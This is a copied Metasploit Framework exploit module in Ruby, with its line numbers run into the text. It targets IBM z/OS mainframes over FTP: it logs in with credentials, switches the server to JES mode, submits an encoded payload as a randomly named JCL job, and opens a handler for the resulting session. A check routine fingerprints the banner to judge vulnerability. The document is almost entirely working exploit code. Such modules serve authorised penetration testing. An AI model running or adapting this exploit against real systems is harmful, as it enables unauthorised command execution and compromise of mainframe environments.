Path: blob/master/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FTP JCL Execution',16'Description' => %q{17Submit JCL to z/OS via FTP and SITE FILE=JES.18This exploit requires valid credentials on the target system.19},20'Author' => [21'Bigendian Smalls',22'mainframed a.k.a. soldier of fortran',23'S&Oxballs a.k.a. chiefascot'24],25'Arch' => ARCH_CMD,26'License' => MSF_LICENSE,27'Platform' => ['mainframe'],28'Privileged' => false,29'Targets' => [['Automatic', {}]],30'DisclosureDate' => '2013-05-12',31'DisableNops' => true,32'DefaultTarget' => 0,33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],36'Reliability' => [REPEATABLE_SESSION]37}38)39)4041register_options(42[43Opt::RPORT(21),44OptInt.new('SLEEP', [ false, 'Time to wait before checking if job has completed.', 5 ])45]46)47end4849def post_auth?50true51end5253def check54##55# Connect to get the FTP banner and check target OS56##57fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") unless connect_login5859print_good('Successfully connected to FTP server.')60test_jes = send_cmd(['site', 'file=jes'])6162# Disconnect and check cached self.banner63disconnect6465##66# Check if the target system has an FTP server running on z/OS"67##68unless banner =~ /IBM FTP CS V.R./69return CheckCode::Safe("We could not recognize the server banner: #{banner.strip}")70end7172if test_jes =~ /200 SITE/73return CheckCode::Vulnerable('Found IBM z/OS Banner and JES commands accepted')74end7576CheckCode::Detected('Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!')77end7879##80# Exploit the target system by submitting a JCL job via FTP81##82def exploit83fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server") unless connect_login8485print_good('Successfully connected to FTP server.')8687send_cmd(['site', 'file=jes'])88print_good('Successfully switched to JES mode')8990jcl_file_name = Rex::Text.rand_text_alpha_upper(8)91print_status("Uploading JCL file: #{jcl_file_name}")9293res = send_cmd_data(['put', jcl_file_name], payload.encoded)94if res.nil?95fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")96end9798job_num = res.lines.first.split.last99print_good("Job Submitted. Job number is #{job_num}")100101handler102disconnect103end104end105106107